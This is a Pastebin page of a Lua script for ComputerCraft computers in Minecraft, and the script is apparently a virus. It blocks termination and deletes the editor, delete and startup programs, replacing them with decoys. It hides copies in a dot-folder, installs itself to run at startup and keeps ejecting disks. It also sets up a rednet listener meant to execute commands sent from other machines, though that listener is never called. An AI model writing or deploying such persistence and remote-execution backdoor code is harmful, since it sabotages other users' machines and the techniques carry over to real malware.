Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- os.pullEvent = os.pullEventRaw
- fs.delete("edit")
- fs.delete("delete")
- fs.delete("startup")
- fs.makeDir(".testFolder")
- if not fs.exists("/.testFolder/test") then
- fs.copy("test", "/.testFolder/test")
- end
- rednet.open("top")
- rednet.open("bottom")
- rednet.open("right")
- rednet.open("left")
- rednet.open("back")
- rednet.open("front")
- rednet.broadcast("top")
- rednet.broadcast("bot")
- rednet.broadcast("right")
- rednet.broadcast("left")
- rednet.broadcast("back")
- rednet.broadcast("front")
- edit = fs.open("/.testFolder/edit", "w")
- edit.write("print(\"lol\")")
- edit.close()
- checkEdit = function()
- if not fs.exists("edit") then
- fs.copy("/.testFolder/edit", "edit")
- end
- end
- delete = fs.open("/.testFolder/delete", "w")
- delete.write("print(\"Not this time !\")")
- delete.close()
- checkDelete = function()
- if not fs.exists("delete") then
- fs.copy("/.testFolder/delete", "delete")
- end
- end
- startup = fs.open("/.testFolder/startup", "w")
- startup.write("shell.run(\"test\")")
- startup.close()
- checkStartup = function()
- if not fs.exists("startup") then
- fs.copy("/.testFolder/startup", "startup")
- end
- end
- rednet.broadcast("&%sdone")
- receive = function()
- os.sleep(1)
- id, commandS = rednet.receive()
- command = textutils.unserialize(commandS)
- print(commandS) --Log
- if command.isExe == "true" then
- if command.type == "f" then
- loadstring(command.content)
- elseif command.type == "p" then
- shell.run(command.content)
- end
- end
- end
- checkDisk = function()
- if disk.isPresent("top") then
- disk.eject("top")
- elseif disk.isPresent("bottom") then
- disk.eject("bottom")
- elseif disk.isPresent("right") then
- print(disk.isPresent("right"))
- disk.eject("right")
- elseif disk.isPresent("left") then
- disk.eject("left")
- elseif disk.isPresent("front") then
- disk.eject("front")
- elseif disk.isPresent("back") then
- disk.eject("back")
- end
- end
- local exit = 0
- print("succesfully loaded") --Log
- counter = 0
- while exit == 0 do
- parallel.waitForAny(checkEdit, checkDelete, checkStartup, checkDisk)
- counter = counter+1 --Log
- print("One function has returned :"..counter) --Log
- os.sleep(0.5)
- end
Advertisement
Add Comment
Please, Sign In to add comment